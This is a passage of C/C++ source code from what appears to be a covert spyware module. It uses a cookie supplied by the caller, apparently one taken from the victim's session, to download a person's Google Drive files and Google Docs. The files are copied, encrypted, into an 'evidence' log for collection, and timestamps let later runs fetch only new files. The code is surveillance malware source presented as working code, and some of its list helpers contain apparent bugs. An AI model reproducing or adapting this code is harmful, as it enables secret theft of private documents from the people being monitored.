            znfree(&pszRecvBuf);
            znfree(&pwszHeader);
            return GD_E_HTTP;
        }

        //parse the returned json struct
        JSONValue *jValue=NULL;
        JSONObject jObj;

        jValue = JSON::Parse(&pszRecvBuf[5]);

        //free buffer
        znfree((LPVOID*)&pszRecvBuf);
        dwBufferSize = 0;

        if(jValue != NULL)
        {
            if(jValue->IsObject())
            {
                jObj = jValue->AsObject();
            
                //get the download url
                if((jObj[L"downloadUrl"]->IsString()) && (jObj[L"downloadUrl"]->AsString().c_str() != NULL))
                {
                    pwszFrom = (LPWSTR)jObj[L"downloadUrl"]->AsString().c_str();
                    if(!_wcsnicmp(pwszFrom, L"https://", 8))
                        pwszFrom += 8;                                    
                
                    pwszTo = StrStr(pwszFrom, L"/");
                    if(pwszTo != NULL)
                    {
                        dwSize = (pwszTo - pwszFrom);

                        //get the host name
                        wcsncpy_s(pwszHost, 256, pwszFrom, dwSize);                    
                        wcscpy_s(pwszURI, 1024, pwszTo);
                    
                        //swprintf_s(pwszHeader, 1024, L"Host: %s\r\nConnection: keep-alive\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36\r\nAccept-Language: it-IT,it;q=0.8,en-US;q=0.6,en;q=0.4", pwszHost);
                        swprintf_s(pwszHeader, 1024, L"Host: %s\r\nConnection: keep-alive\r\nAccept: */*", pwszHost);

                        //get file
                        dwBufferSize = 0;

                        dwRet = HttpSocialRequest(pwszHost,
                                                    L"GET",
                                                    pwszURI,
                                                    pwszHeader,
                                                    443, 
                                                    NULL, 
                                                    0, 
                                                    (LPBYTE *)&pszRecvBuf,
                                                    &dwBufferSize, 
                                                    pszCookie);
                        znfree(&pwszURI);
                        znfree(&pwszHost);
                        znfree(&pwszHeader);

                        if((dwRet != SOCIAL_REQUEST_SUCCESS) || (dwBufferSize != pFile->dwFileSize))
                        {
                            delete jValue;
                            znfree(&pszRecvBuf);
                            return GD_E_HTTP;
                        }
                    }
                }
            }
        }
        else
        {
            znfree(&pwszURI);
            znfree(&pwszHost);
            znfree(&pwszHeader);
            return GD_E_INVALID_JSON_DATA;
        }

        //delete json struct
        delete jValue;
    }

    znfree(&pwszURI);
    znfree(&pwszHost);
    znfree(&pwszHeader);

    //save the pointer to the file buffer
    pFile->pcFileBuf  = (LPBYTE)pszRecvBuf;
    pFile->dwFileSize = dwBufferSize;

    return GD_E_SUCCESS;    
}


//get all the files newer than 'dwTimestamp', according to the file type and to the timestamp
//DWORD GD_DownloadFiles(PGD_FILE_LIST pFileList, PGD_PARAMS pParams, LPWSTR *pwszFileType, LPSTR pszCookie)
DWORD GD_DownloadFiles(PGD_FILE_LIST pFileList, PGD_PARAMS pParams, LPSTR pszCookie)
{
    PGD_FILE pItem=NULL, pList=NULL;
    DWORD i=0, j=0;
    int      nPos=0;
    
    //get only the last n items
    if(pFileList->Items > GD_MAX_ITEMS)
        pList = GD_ScrollList(pFileList->List, (pFileList->Items-GD_MAX_ITEMS-1));
    else
        pList = pFileList->List;
        
    //loop the linked list
    for(pItem=pList; pItem != NULL; pItem=pItem->Next)
    {
        //download the file
        DWORD dwRetFile = GD_GetFile(pItem, pParams, pszCookie);
        if(dwRetFile == GD_E_SUCCESS)
        {
            //log the file buffer (info only)
            //dwRet = GD_LogEvidence(pItem);

            //copy the encrypted file to the log structure
            DWORD dwRet = LogCloud_CopyFile(pItem, PM_FILEAGENT_CAPTURE);
            znfree(&pItem->pcFileBuf);

            if(dwRet != LC_E_SUCCESS)
                return dwRet;                
        }

        if((dwRetFile == GD_E_SUCCESS) || (dwRetFile == GD_E_FILESIZE))
        {
            if(GD_IsGoogleDoc(pItem->FileType))
            {
                //set the timestamp for document
                GD_SetLastTimeStamp("DC", pItem->dwTimestamp, pParams->pszDriveID);
            }
            else
            {
                //set the timestamp for file
                GD_SetLastTimeStamp("FL", pItem->dwTimestamp, pParams->pszDriveID);
            }
        }
        else
            return dwRetFile;
    }

    return GD_E_SUCCESS;
}




//return the file type parsing the json file array
GD_ITEM_TYPE GD_GetFileType(JSONArray jFile)
{
    //the file type is in the position 3 of the array
    if(!jFile[GD_FILE_TYPE]->IsString())
        return GD_ITEM_UNKNOWN;

    //verify if it's a directory
    if(StrStrI(jFile[GD_FILE_TYPE]->AsString().c_str(), L"google-apps.folder") != NULL)
        return GD_ITEM_DIR;

    //verify if it's a google spreadsheet (xlsx)
    if(StrStrI(jFile[GD_FILE_TYPE]->AsString().c_str(), L"google-apps.spreadsheet") != NULL)
        return GD_ITEM_XLS;

    //verify if it's a google spreadsheet (xlsx)
    if(StrStrI(jFile[GD_FILE_TYPE]->AsString().c_str(), L"google-apps.ritz") != NULL)
        return GD_ITEM_XLS;    

    //verify if it's a google presentation (ppt)
    if(StrStrI(jFile[GD_FILE_TYPE]->AsString().c_str(), L"google-apps.presentation") != NULL)
        return GD_ITEM_PPT;    

    //verify if it's a google presentation (ppt)
    if(StrStrI(jFile[GD_FILE_TYPE]->AsString().c_str(), L"google-apps.punch") != NULL)
        return GD_ITEM_PPT;

    //verify if it's a google drawing (jpg)
    if(StrStrI(jFile[GD_FILE_TYPE]->AsString().c_str(), L"google-apps.drawing") != NULL)
        return GD_ITEM_JPG;    

    //verify if it's a google document (docx)
    if(StrStrI(jFile[GD_FILE_TYPE]->AsString().c_str(), L"google-apps.document") != NULL)
        return GD_ITEM_DOC;    

    //verify if it's a google document (docx)
    if(StrStrI(jFile[GD_FILE_TYPE]->AsString().c_str(), L"google-apps.kix") != NULL)
        return GD_ITEM_DOC;    

    //check the file size
    if(!jFile[GD_FILE_SIZE]->IsNumber())
        return GD_ITEM_UNKNOWN;

    if(jFile[GD_FILE_SIZE]->AsNumber() == 0)
        return GD_ITEM_UNKNOWN;

    return GD_ITEM_FILE;
}


//verify if the size of the file is valid and return the size in bytes
DWORD GD_GetFileSize(JSONArray jFile, GD_ITEM_TYPE FileType)
{
    double dSize = 0;

    //get file size (continue if the file size is not a number of if the size is 0)
    if(!jFile[GD_FILE_SIZE]->IsNumber())
        return 0;

    //if the file size is not a number
    dSize = jFile[GD_FILE_SIZE]->AsNumber();
    if((dSize == 0) && (FileType == GD_ITEM_FILE))
        return 0;

    if(dSize > GD_MAX_FILE_SIZE)
        return 0;

    //if the file is 0, it's a google document, so set the size = 1
    if(GD_IsGoogleDoc(FileType))
        dSize = 1;

    return ((DWORD)dSize);
}


BOOL GD_IsGoogleDoc(GD_ITEM_TYPE FileType)
{
    if((FileType == GD_ITEM_DOC) ||
       (FileType == GD_ITEM_XLS) ||
       (FileType == GD_ITEM_PPT) || 
       (FileType == GD_ITEM_JPG))
       return TRUE;

    return FALSE;
}


//add a file extension to the google document, according to the specified file type
BOOL GD_AddFileExtension(LPWSTR *pwszFileName, GD_ITEM_TYPE FileType)
{    
    //if it's a document, realloc the string to append the extension bytes
    if(!GD_IsGoogleDoc(FileType))
    {
        //#ifdef _DEBUG
        //    OutputDebugString(L"[!] The file is not a google document (GD_AddFileExtensions(0))");
        //#endif

        return GD_E_GENERIC;
    }

    if(pwszFileName == NULL)
    {
        //#ifdef _DEBUG
        //    OutputDebugString(L"[!] FileName is NULL (GD_AddFileExtensions(1))");
        //#endif

        return GD_E_GENERIC;
    }

    LPWSTR pwszNewName = NULL;
    DWORD  dwSize = 0;
        
    //alloc mem for the new string
    dwSize = wcslen(*pwszFileName) + 6; //add 5 bytes for the extension and 1 for \0

    pwszNewName = (LPWSTR)zalloc(dwSize * sizeof(WCHAR));
    if(pwszNewName == NULL)
    {
        //#ifdef _DEBUG
        //    OutputDebugString(L"[!] Memory allocation failed (GD_AddFileExtensions(pwszNewName))");
        //#endif
        return GD_E_ALLOC;
    }

    switch(FileType)
    {
        case GD_ITEM_DOC:
            swprintf_s(pwszNewName, dwSize, L"%s.%s", *pwszFileName, L"docx");
            break;
        case GD_ITEM_XLS:
            swprintf_s(pwszNewName, dwSize, L"%s.%s", *pwszFileName, L"xlsx");
            break;
        case GD_ITEM_PPT:
            swprintf_s(pwszNewName, dwSize, L"%s.%s", *pwszFileName, L"pptx");
            break;
        case GD_ITEM_JPG:
            swprintf_s(pwszNewName, dwSize, L"%s.%s", *pwszFileName, L"jpg");
            break;
    }

    //delete the old file name
    znfree(pwszFileName);

    //assign the new name to the file name
    *pwszFileName = pwszNewName;

    return GD_E_SUCCESS;
}


BOOL GD_LogEvidence(PGD_FILE pFile)
{    
    LPSTR pszProcName    = "GOOGLE_DRIVE";
    DWORD dwDelimiter    = ELEM_DELIMITER;
    DWORD dwSize, dwFileSizeHi, dwFileSizeLo, dwOperation;
    LPBYTE lpcBuf, lpTmp;
    struct tm time;
    _int64 nTime;
    BOOL   bRet = FALSE;
    //char   szBuf[32];

    //verify the log info
    if((pFile == NULL)                 || 
       (pFile->pwszFileName == NULL) || 
       (pFile->pwszFileID   == NULL))
        return FALSE;

    //build the log    

    //get the system time
    _time64(&nTime);

    //sprintf_s(szBuf, sizeof(szBuf), "%d" , pFile->dwTimestamp);
    //szBuf[10] = 0;
    //nTime = atol(szBuf);

    //convert time value to a tm struct
    _gmtime64_s(&time, &nTime);
    time.tm_year += 1900;
    time.tm_mon++;

    //compute the size of the log
    dwSize  = sizeof(time);                                            //timestamp
    dwSize += (strlen(pszProcName) + 1);                            //procname (googledrive)
    dwSize += sizeof(dwFileSizeHi);                                    //filesize (hi dword)
    dwSize += sizeof(dwFileSizeLo);                                    //filesize (low dword)
    dwSize += sizeof(dwOperation);                                    //operation
    dwSize += ((wcslen(pFile->pwszFileName) + 1) * sizeof(WCHAR));    //filename
    dwSize += sizeof(dwDelimiter);                                    //delimiter

    //alloc mem for the log data
    lpcBuf = (LPBYTE)malloc(dwSize);
    if(lpcBuf == NULL)
        return FALSE;
    lpTmp = lpcBuf;

    dwFileSizeHi = 0;
    dwFileSizeLo = pFile->dwFileSize;
    dwOperation  = GENERIC_READ;

    //fill the buffer
    memcpy(lpTmp, &time, sizeof(time));                                                            //timestamp
    lpTmp += sizeof(time);
    memcpy(lpTmp, pszProcName, (strlen(pszProcName) + 1));                                        //procname
    lpTmp += (strlen(pszProcName) + 1);
    memcpy(lpTmp, &dwFileSizeHi, sizeof(dwFileSizeHi));                                            //filesize hi
    lpTmp += sizeof(dwFileSizeHi);
    memcpy(lpTmp, &dwFileSizeLo, sizeof(dwFileSizeLo));                                            //filesize lo
    lpTmp += sizeof(dwFileSizeLo);
    memcpy(lpTmp, &dwOperation, sizeof(dwOperation));                                            //operation
    lpTmp += sizeof(dwOperation);
    memcpy(lpTmp, pFile->pwszFileName, ((wcslen(pFile->pwszFileName) + 1) * sizeof(WCHAR)));    //filename
    lpTmp += ((wcslen(pFile->pwszFileName) + 1) * sizeof(WCHAR));
    memcpy(lpTmp, &dwDelimiter, sizeof(dwDelimiter));

    //queue the log 
    bRet = LogCloud_ReportLog(PM_FILEAGENT, lpcBuf, dwSize);

    return bRet;
}


//insert the file struct to the list ordered by timestamp (ascending order)
DWORD GD_AddFileToList(PGD_FILE *pList, PGD_FILE pNewFile)
{
    PGD_FILE pItem=NULL, pTmp=NULL, pLast=NULL;
    
    for(pItem=*pList; pItem!=NULL; pItem=pItem->Next)
    {
        //check the timestamp
        if(pItem->dwTimestamp == 0)
            break;

        if(pItem->dwTimestamp > pNewFile->dwTimestamp)
            break;        

        pLast = pItem;
    }

    pTmp = pItem;

    if(pLast == NULL)
    {
        //add element to first position
        pLast = pNewFile;
        *pList = pLast;
    }
    else
        pLast->Next = pNewFile;

    pNewFile->Next = pTmp;

    return GD_E_SUCCESS;
}

//count the item in the linked list
DWORD GD_CountListItems(PGD_FILE pFileList)
{
    PGD_FILE pItem=NULL, pNext=NULL;
    int i;
    
    //scroll the list till the end
    for(i=0, pItem=pFileList; pItem!=NULL; pItem=pNext, i++)
        ;

    return i;
}

//go to the n element of the linked list
PGD_FILE GD_ScrollList(PGD_FILE pFileList, DWORD dwPos)
{
    PGD_FILE pItem=NULL, pNext=NULL;
    DWORD i;
    
    for(i=0, pItem=pFileList; (i<dwPos) && (pItem!=NULL); pItem=pNext, i++)
    {
        pNext = pItem->Next;
    }

    return pNext;
}


//delete all the elements from the list
void GD_DeleteFile(PGD_FILE pFile)
{
    if(pFile == NULL)
        return;

    //delete the struct's strings
    znfree(&pFile->pwszFileID);
    znfree(&pFile->pwszFileName);
    znfree(&pFile->pcFileBuf);
    
    //delete the current item
    znfree((LPVOID*)&pFile);
}

//delete all the elements from the list
void GD_DeleteFileList(PGD_FILE *pFileList)
{
    PGD_FILE pItem=NULL, pNext=NULL;
    
    for(pItem=*pFileList; pItem!=NULL; pItem=pNext)
    {        
        //delete the struct's strings
        znfree(&pItem->pwszFileID);
        znfree(&pItem->pwszFileName);
        znfree(&pItem->pcFileBuf);
    
        //save the next item in the list
        pNext = pItem->Next;

        //delete the current item
        znfree((LPVOID*)&pItem);
    }

    *pFileList = NULL;
}



//get the last timestamp used for the requested evidence type
DWORD GD_GetLastTimeStamp(LPSTR lpszPrefix, DWORD *dwTimestamp, LPSTR pstrSuffix)
{
    char    szTSName[64] = {0};
    char    *pEnc = NULL;

    if(lpszPrefix != NULL)
        strcpy_s(szTSName, sizeof(szTSName), lpszPrefix);

    //encode the suffix
    pEnc = base64_encode((const unsigned char*)pstrSuffix, strlen(pstrSuffix));
    if(pEnc == NULL)
        return GD_E_ALLOC;

    //add the suffix
    if(pstrSuffix)
        strcat_s(szTSName, sizeof(szTSName), pEnc);

    //free heap
    znfree((LPVOID*)&pEnc);

    //get last timestamp saved
    *dwTimestamp = SocialGetLastTimestamp(szTSName, NULL);

    return GD_E_SUCCESS;
}


//set the last timestamp used for the requested evidence type
DWORD GD_SetLastTimeStamp(LPSTR lpszPrefix, DWORD dwTimestamp, LPSTR pstrSuffix)
{
    char    szTSName[64];
    char    *pEnc = NULL;

    if(lpszPrefix != NULL)
        strcpy_s(szTSName, sizeof(szTSName), lpszPrefix);

    //encode the suffix
    pEnc = base64_encode((const unsigned char*)pstrSuffix, strlen(pstrSuffix));
    if(pEnc == NULL)
        return GD_E_ALLOC;

    //add a suffix
    strcat_s(szTSName, sizeof(szTSName), pEnc);
    
    znfree((LPVOID*)&pEnc);

    //set the timestamp    
    SocialSetLastTimestamp(szTSName, dwTimestamp, 0);

    return GD_E_SUCCESS;
}


#ifdef _DEBUG

//print the linked list
void GD_PrintList(PGD_FILE pFileList)
{
    WCHAR wszTimestamp[256];
    PGD_FILE pItem = NULL;
    
    for(pItem=pFileList; pItem!=NULL; pItem=pItem->Next)
    {
        swprintf_s(wszTimestamp, sizeof(wszTimestamp)/2, L"%lu", pItem->dwTimestamp);
        OutputDebugString(wszTimestamp);
        OutputDebugString(L" - ");
        OutputDebugString(pItem->pwszFileName);
        OutputDebugString(L"\r\n");        
    }
}

//writes data on disk
void GD_DumpBuffer(LPCWSTR lpFileName, char* lpBuffer, DWORD dwSize)
{
    HANDLE hFile;
    DWORD dwWritten=0;

    //file creation
    hFile = CreateFile(lpFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hFile == INVALID_HANDLE_VALUE)
        return;

    //write to file
    if(!WriteFile(hFile, lpBuffer, dwSize, &dwWritten, NULL))
    {
        CloseHandle(hFile);
        return;
    }

    CloseHandle(hFile);
}

//writes data on disk
void GD_DumpBuffer(LPCWSTR lpFileName, WCHAR* lpBuffer, DWORD dwSize)
{
    HANDLE hFile;
    DWORD dwWritten=0;

    //file creation
    hFile = CreateFile(lpFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hFile == INVALID_HANDLE_VALUE)
        return;

    //write to file
    if(!WriteFile(hFile, lpBuffer, dwSize, &dwWritten, NULL))
    {
        CloseHandle(hFile);
        return;
    }

    CloseHandle(hFile);
}

#endif